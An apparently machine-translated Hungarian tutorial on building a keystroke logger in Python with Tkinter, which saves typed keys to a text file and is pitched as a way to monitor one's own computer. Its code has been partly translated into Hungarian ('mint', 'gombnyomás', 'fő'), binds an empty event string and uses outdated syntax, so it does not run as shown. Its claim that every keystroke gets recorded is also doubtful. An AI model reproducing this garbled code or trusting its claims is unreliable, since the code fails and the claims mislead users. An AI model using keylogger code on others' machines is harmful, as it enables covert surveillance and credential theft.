Keylogger létrehozása Python használatával

Nő a számítógépnél néz a válla fölött

Rögzítse a billentyűleütéseket, és mentse őket fájlba.

Kép jóváírása: Jupiterimages/Photos.com/Getty Images

A Python használatával létrehozhat egy billentyűzetnaplózó programot a számítógép billentyűzetén begépelt billentyűleütések rögzítésére. A billentyűleütések egy szöveges fájlba kerülnek, és minden bevitelt rögzít. Kulcsnaplózó segítségével figyelheti a számítógépén végzett tevékenységeket.

1. lépés

Indítsa el az IDLE-t, kattintson a "Fájl" menüre, és válassza az "Új ablak" lehetőséget egy új ablak megnyitásához. Nyomja meg a Ctrl és S billentyűket a "Mentés másként" ablak megnyitásához. Fájlnévként használja a „getKeyLogger”-t, majd kattintson a „Mentés” gombra.

A nap videója

2. lépés

Adja hozzá a következő kódsort a "Tkinter" névtér importálásához, és adja meg a naplózáshoz használni kívánt fájl elérési útját:

import Tkinter mint tk myFile = open("C:/temp/keyFile.txt", "w")

3. lépés

Másolja és illessze be a következő kódot, hogy minden billentyűleütést a fájlba menthessen:

def gombnyomás (esemény): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

4. lépés

Adja hozzá a következő kódot, hogy tudassa a felhasználóval, hogy elkezdheti a gépelést, és az Esc billentyű lenyomásával fejezheti be a programot:

fő = tk. Tk() print "Nyomja meg bármelyik billentyűt (Escape billentyű a kilépéshez):" main.bind_all('', gombnyomás) main.withdraw() main.mainloop() myFile.close()

5. lépés

Kattintson a "Windows" start gombra, és írja be a "cmd" parancsot a "programok és fájlok keresése" mezőbe. Nyomja meg az Enter billentyűt a parancssor megnyitásához. Nyissa meg a „C:\Python", és írja be a "python getKeyLogger" parancsot. Nyomja meg az Enter billentyűt a program futtatásához. Lépjen a "C:/temp/" mappába, és kattintson duplán a "keyFile.txt" fájlra a billentyűleütési adatok megtekintéséhez.